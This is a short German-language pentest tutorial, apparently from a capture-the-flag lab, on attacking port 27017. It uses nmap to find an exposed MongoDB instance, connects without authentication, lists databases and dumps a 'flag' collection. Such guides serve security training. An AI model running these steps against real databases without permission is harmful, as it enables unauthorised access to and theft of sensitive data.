27017 - MongoDB

1. Zielbeschreibung

MongoDB ist eine dokumentenorientierte NoSQL-Datenbank. Bei einem Pentest von MongoDB wird oft untersucht, ob eine fehlkonfigurierte Instanz existiert, die anonyme Zugriffe ermöglicht. Ziel ist es, Zugriff auf sensible Daten zu erhalten.

2. Grundlegender Ablauf

  1. Nmap-Portscan

  2. Verbindung zur MongoDB herstellen

  3. Datenbanken und Sammlungen (Collections) auflisten

  4. Interessante Daten extrahieren

3. Portscan und Service-Erkennung

Verwende nmap, um den Zielhost auf offene Ports zu untersuchen, insbesondere Port 27017, der von MongoDB verwendet wird.

nmap -p- -sV {target_IP}

Ergebnisbeispiel:

  • Port 22: SSH-Service

  • Port 27017: MongoDB-Server

4. Verbindung zur MongoDB herstellen

MongoDB erlaubt oft Verbindungen ohne Authentifizierung. Zum Testen benötigst du das mongo-Tool.

Verbindung herstellen:

mongo <target_IP>:27017

5. Datenbanken auflisten

Um alle verfügbaren Datenbanken aufzulisten, verwende den Befehl:

> show dbs;
    admin                  0.000GB
    config                 0.000GB
    local                  0.000GB
    sensitive_information  0.000GB
    users                  0.000GB

6. Interessante Datenbank auswählen und Collections anzeigen

Wähle eine Datenbank, die potenziell interessante Informationen enthält:

> use sensitive_information;
> show collections;
    flag

7. Dokumente aus einer Collection abrufen

Um alle Dokumente aus einer Collection zu extrahieren, verwende:

> db.flag.find().pretty();

Last updated